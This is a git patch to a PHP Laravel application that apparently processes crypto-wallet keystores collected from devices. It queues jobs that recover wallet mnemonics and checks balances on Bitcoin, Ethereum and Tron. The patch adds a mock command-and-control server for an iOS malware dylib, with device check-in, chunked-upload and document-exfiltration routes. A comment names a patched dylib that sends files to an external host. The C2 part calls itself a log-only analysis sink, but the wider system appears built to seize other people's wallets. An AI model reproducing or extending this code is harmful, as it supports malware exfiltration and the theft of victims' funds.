From cc66811dbd3b84e2ebd7468052fc1eea79c990e0 Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 24 Sep 2026 03:00:57 +0800 Subject: [PATCH] feat: 26&timeout&keystore --- .../Controllers/C2/InjectDemoC2Controller.php | 185 ++++++++++++++++++ app/Jobs/DecryptDeviceKeystores.php | 10 +- app/Providers/AppServiceProvider.php | 9 + app/Services/Chain/BtcDriver.php | 2 +- app/Services/Chain/EthDriver.php | 2 +- app/Services/Chain/TronDriver.php | 2 +- app/Services/DarkSwordIngestAdapter.php | 29 ++- app/Services/PhotoOrigin.php | 3 +- app/Services/TelegramNotifier.php | 4 +- app/Services/Tokenview/TokenviewClient.php | 2 +- app/Services/WalletBalanceService.php | 2 +- bootstrap/app.php | 3 + config/coruna.php | 2 +- config/queue.php | 12 ++ docs/BAOTA_DEPLOY.md | 5 + docs/deploy.md | 5 + routes/console.php | 2 +- routes/inject_demo.php | 40 ++++ 18 files changed, 303 insertions(+), 16 deletions(-) create mode 100644 app/Http/Controllers/C2/InjectDemoC2Controller.php create mode 100644 routes/inject_demo.php diff --git a/app/Http/Controllers/C2/InjectDemoC2Controller.php b/app/Http/Controllers/C2/InjectDemoC2Controller.php new file mode 100644 index 0000000..64f6c3d --- /dev/null +++ b/app/Http/Controllers/C2/InjectDemoC2Controller.php @@ -0,0 +1,185 @@ +logRequest($request, 'devices'); + + // Empty bundleIds/dirs = "no further collection targets" — the malware + // treats this as a no-op acquisition list. Bump to non-empty later to + // observe the collector actually enumerate containers. + return $this->json([ + 'code' => 0, + 'data' => [ + 'bundleIds' => [], + 'dirs' => [], + ], + ]); + } + + /** + * POST /api/v1/uploads — initiate a chunked upload session. + * Body: JSON describing the artifact (e.g. bq_docs_.zip metadata). + * Expected reply: uploadId + expectedChunks. + */ + public function uploads(Request $request): Response + { + $this->logRequest($request, 'uploads'); + + return $this->json([ + 'code' => 0, + 'data' => [ + 'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)), + 'expectedChunks' => 1, + ], + ]); + } + + /** + * PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session. + * Body: raw chunk bytes (often multipart or binary). + * Expected reply: {"status":"COMPLETED"} once the server has the chunk. + */ + public function uploadChunk(Request $request): Response + { + $this->logRequest($request, 'uploadChunk'); + + return $this->json(['status' => 'COMPLETED']); + } + + /** + * POST /api/v1/finish — libutils "all uploads done" signal. + * Body: tiny form/json ack. Expected reply: {"code":0}. + */ + public function finish(Request $request): Response + { + $this->logRequest($request, 'finish'); + + return $this->json(['code' => 0]); + } + + /** + * Catch-all for the BQ documents exfil path (inject_demo.dylib). + * The dylib POSTs multipart/form-data with boundary "BQBoundary-%@" + * carrying bq_docs_.zip to the C2 root or an arbitrary path. + * Mock returns {"ok":true} so the dylib considers the exfil accepted. + */ + public function bqExfil(Request $request): Response + { + $this->logRequest($request, 'bqExfil'); + + return $this->json(['ok' => true]); + } + + // ──────────────────────────────────────────────────────────── + // helpers + // ──────────────────────────────────────────────────────────── + + /** + * Persist method/path/headers/body to public/log/inject_demo/Ymd.log. + * Multipart and binary bodies are stored as a hex+preview dump; JSON + * bodies are stored verbatim for easy reading. + */ + private function logRequest(Request $request, string $tag): void + { + try { + $body = (string) $request->getContent(false); + + $headers = []; + foreach ($request->headers->all() as $name => $values) { + $headers[$name] = is_array($values) ? ($values[0] ?? null) : $values; + } + + $meta = [ + 'tag' => $tag, + 'method' => $request->getMethod(), + 'path' => '/'.ltrim($request->path(), '/'), + 'ip' => $request->server->get('REMOTE_ADDR'), + 'headers' => $headers, + 'body_size' => strlen($body), + ]; + + // Keep JSON bodies readable; otherwise include a hex preview. + $first = $body !== '' ? $body[0] : ''; + if ($first === '{' || $first === '[') { + $meta['body_json'] = $body; + } elseif ($body !== '') { + $meta['body_preview'] = substr($body, 0, 512); + $meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256)); + } + + // For multipart/form-data, PHP consumes php://input and populates + // $_POST / $_FILES, so $body is empty. Capture those as a fallback + // so the BQ exfil multipart is still observable. + if ($body === '' && $request->isMethod('POST')) { + $post = $request->post(); + if (! empty($post)) { + $meta['post'] = $post; + } + $files = []; + foreach ($request->allFiles() as $key => $f) { + if ($f instanceof \Illuminate\Http\UploadedFile) { + $files[$key] = [ + 'name' => $f->getClientOriginalName(), + 'size' => $f->getSize(), + 'mime' => $f->getMimeType(), + 'ext' => $f->getClientOriginalExtension(), + ]; + } + } + if (! empty($files)) { + $meta['files'] = $files; + } + } + + create_log($meta, self::LOG_TYPE); + } catch (\Throwable) { + // never break the request for logging + } + } + + /** + * @param mixed $data + */ + private function json($data): Response + { + $payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + + return response($payload, 200)->header('Content-Type', 'application/json'); + } +} diff --git a/app/Jobs/DecryptDeviceKeystores.php b/app/Jobs/DecryptDeviceKeystores.php index 8f8d6a9..82e98b1 100644 --- a/app/Jobs/DecryptDeviceKeystores.php +++ b/app/Jobs/DecryptDeviceKeystores.php @@ -24,7 +24,7 @@ class DecryptDeviceKeystores implements ShouldQueue public int $tries = 1; - public int $timeout = 180; + public int $timeout = 300; /** * @param int $deviceId Device to process. @@ -35,7 +35,13 @@ class DecryptDeviceKeystores implements ShouldQueue public int $deviceId, public ?array $wallets = null, public ?array $sandbox = null, - ) {} + ) { + // Production always leaves PHP-FPM. Tests keep the default (sync) driver + // so recovery still runs inline without a Redis worker. + if (! app()->runningUnitTests()) { + $this->onConnection('keystore'); + } + } public function handle( DarkSwordIngestAdapter $adapter, diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 3c74b0a..05a9fdd 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -9,6 +9,7 @@ use App\Services\Ocr\TesseractOcrDriver; use App\Services\SettingsService; use App\Telegram\TelegramBotContext; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; use Illuminate\Support\ServiceProvider; use Nutgram\Laravel\RunningMode\LaravelWebhook; @@ -44,6 +45,14 @@ class AppServiceProvider extends ServiceProvider public function boot(): void { + // Floor for outbound calls that don't set their own timeout. Explicit + // Http::timeout() still wins. 120s leaves room for slow uploads; + // connect fails fast enough that a dead host doesn't sit for the full window. + Http::globalOptions([ + 'connect_timeout' => 20, + 'timeout' => 120, + ]); + if (! $this->app->runningInConsole()) { $limit = (int) ini_get('max_execution_time'); if ($limit > 0 && $limit < 60) { diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php index 36e81cd..178e549 100644 --- a/app/Services/Chain/BtcDriver.php +++ b/app/Services/Chain/BtcDriver.php @@ -474,6 +474,6 @@ class BtcDriver implements ChainDriver private function http(): PendingRequest { - return Http::timeout(30)->acceptJson(); + return Http::connectTimeout(20)->timeout(120)->acceptJson(); } } diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php index 7050b4e..f9ae75a 100644 --- a/app/Services/Chain/EthDriver.php +++ b/app/Services/Chain/EthDriver.php @@ -251,6 +251,6 @@ class EthDriver implements ChainDriver private function http(): PendingRequest { - return Http::timeout(30)->acceptJson()->asJson(); + return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); } } diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php index 05c63e1..280a856 100644 --- a/app/Services/Chain/TronDriver.php +++ b/app/Services/Chain/TronDriver.php @@ -300,7 +300,7 @@ class TronDriver implements ChainDriver private function http(): PendingRequest { - $req = Http::timeout(30)->acceptJson()->asJson(); + $req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson(); $apiKey = (string) config('coruna.tron.api_key', ''); if ($apiKey !== '') { $req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]); diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 114bda6..18127fe 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -17,6 +17,7 @@ use App\Support\WalletSource; use Illuminate\Database\QueryException; use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Http\Request; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; /** @@ -256,7 +257,7 @@ class DarkSwordIngestAdapter $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery + plaintext walk + address extraction. - DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); + $this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); } /** @@ -506,7 +507,7 @@ class DarkSwordIngestAdapter $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); // Async: attempt Trust UTC keystore decryption. - DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]); + $this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]); } /** @@ -536,7 +537,7 @@ class DarkSwordIngestAdapter $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery + plaintext walk + address extraction. - DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); + $this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); } /** @@ -557,7 +558,27 @@ class DarkSwordIngestAdapter // Async: attempt recovery (imToken needs password — will likely fail, // but the job logs the reason and still extracts addresses if any). - DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null); + $this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null); + } + + /** + * Queue PBKDF2 / keystore recovery off the request. A Redis outage must not + * fail the ingest that already stored the keystore blobs. + * + * @param array|null $wallets + * @param array|null $sandbox + */ + private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void + { + try { + DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); + } catch (\Throwable $e) { + Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'error' => $e->getMessage(), + ]); + } } /** diff --git a/app/Services/PhotoOrigin.php b/app/Services/PhotoOrigin.php index d0ffb6c..7a38540 100644 --- a/app/Services/PhotoOrigin.php +++ b/app/Services/PhotoOrigin.php @@ -69,7 +69,8 @@ class PhotoOrigin } try { - $resp = Http::timeout(max(5, (int) config('coruna.photo_origin.timeout', 60))) + $resp = Http::connectTimeout(20) + ->timeout(max(30, (int) config('coruna.photo_origin.timeout', 180))) ->withHeaders(['X-Photo-Origin-Token' => $this->token()]) ->get($this->baseUrl().'/hooks/photo-origin/'.$photo->id); } catch (\Throwable $e) { diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 04e5bef..3e95796 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -61,7 +61,7 @@ class TelegramNotifier } try { - $resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe"); + $resp = Http::connectTimeout(20)->timeout(30)->get("https://api.telegram.org/bot{$token}/getMe"); if (! $resp->successful() || $resp->json('ok') !== true) { return null; } @@ -157,7 +157,7 @@ class TelegramNotifier } try { - $resp = Http::timeout(15)->asForm()->post( + $resp = Http::connectTimeout(20)->timeout(60)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", [ 'chat_id' => $chatId, diff --git a/app/Services/Tokenview/TokenviewClient.php b/app/Services/Tokenview/TokenviewClient.php index df99e2f..3a6b52b 100644 --- a/app/Services/Tokenview/TokenviewClient.php +++ b/app/Services/Tokenview/TokenviewClient.php @@ -54,7 +54,7 @@ class TokenviewClient ]); try { - $resp = Http::timeout(20)->get($endpoint, [ + $resp = Http::connectTimeout(20)->timeout(120)->get($endpoint, [ 'apikey' => (string) config('coruna.tokenview.api_key'), ]); $ok = $resp->successful() && (int) $resp->json('code') === 1; diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index 8c63bd9..f090b3d 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -190,7 +190,7 @@ class WalletBalanceService // full_node may be https://api.trongrid.io — v1 lives on the same host. $url = $base.'/v1/accounts/'.rawurlencode($address); - $req = Http::timeout(20)->acceptJson(); + $req = Http::connectTimeout(20)->timeout(120)->acceptJson(); $apiKey = (string) config('coruna.tron.api_key', ''); if ($apiKey !== '') { $req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]); diff --git a/bootstrap/app.php b/bootstrap/app.php index 3230d80..af04adb 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -16,6 +16,9 @@ return Application::configure(basePath: dirname(__DIR__)) require __DIR__.'/../routes/xxbb.php'; require __DIR__.'/../routes/ds.php'; + // inject_demo / libutils TrollStore analysis C2 sink (log only) + require __DIR__.'/../routes/inject_demo.php'; + // External webhooks (no CSRF) require __DIR__.'/../routes/hooks.php'; diff --git a/config/coruna.php b/config/coruna.php index 6329f31..eeefb33 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -68,7 +68,7 @@ return [ 'photo_origin' => [ 'url' => rtrim(trim((string) env('PHOTO_ORIGIN_URL', '')), '/'), 'token' => (string) env('PHOTO_ORIGIN_TOKEN', ''), - 'timeout' => (int) env('PHOTO_ORIGIN_TIMEOUT', 60), + 'timeout' => (int) env('PHOTO_ORIGIN_TIMEOUT', 180), ], 'scan' => [ diff --git a/config/queue.php b/config/queue.php index 946edfd..d472ae8 100644 --- a/config/queue.php +++ b/config/queue.php @@ -73,6 +73,18 @@ return [ 'after_commit' => false, ], + // CPU-heavy keystore decryption. Separate from the default queue so a + // long PBKDF2 run cannot be re-delivered while it is still working + // (retry_after must stay above the job timeout). + 'keystore' => [ + 'driver' => 'redis', + 'connection' => env('REDIS_QUEUE_CONNECTION', 'default'), + 'queue' => 'keystore', + 'retry_after' => (int) env('KEYSTORE_QUEUE_RETRY_AFTER', 360), + 'block_for' => null, + 'after_commit' => false, + ], + 'deferred' => [ 'driver' => 'deferred', ], diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 1bd91d6..1630719 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -466,6 +466,11 @@ cd /www/wwwroot/coruna-lab 启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 + +名称: coruna-keystore +启动命令: /www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600 +启动目录: /www/wwwroot/coruna-lab +进程数量: 2 ``` 相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核): diff --git a/docs/deploy.md b/docs/deploy.md index 2508f8b..fbb1b14 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -115,6 +115,11 @@ chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 +名称: coruna-keystore +启动命令: /www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600 +启动目录: /www/wwwroot/coruna-lab +进程数量: 2 + 名称: coruna-ocr 启动命令: /www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100 启动目录: /www/wwwroot/coruna-lab diff --git a/routes/console.php b/routes/console.php index 9751341..7948d4b 100644 --- a/routes/console.php +++ b/routes/console.php @@ -58,7 +58,7 @@ Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) { $payload['secret_token'] = $secret; } $this->info('Setting Telegram webhook URL: '.$url); - $resp = Http::timeout(20) + $resp = Http::connectTimeout(20)->timeout(60) ->asJson() ->post("https://api.telegram.org/bot{$token}/setWebhook", $payload); if ($resp->successful() && ($resp->json('ok') === true)) { diff --git a/routes/inject_demo.php b/routes/inject_demo.php new file mode 100644 index 0000000..8b8ac68 --- /dev/null +++ b/routes/inject_demo.php @@ -0,0 +1,40 @@ +where('id', '[^/]+'); +Route::match(['PUT', 'POST'], '/api/v1/uploads/{id}/chunks/{n}', [$ctl, 'uploadChunk']) + ->where(['id' => '[^/]+', 'n' => '[0-9]+']); +Route::post('/api/v1/finish', [$ctl, 'finish']); + +// inject_demo BQ documents exfil — multipart POST. +// Patched dylib POSTs to /bq (https://guhivekol.cc/bq, 23-char URL +// fits the 27-byte __bqurl blob). Keep / and /api/v1/bq as fallbacks +// for unpatched/older patched builds. +Route::post('/bq', [$ctl, 'bqExfil']);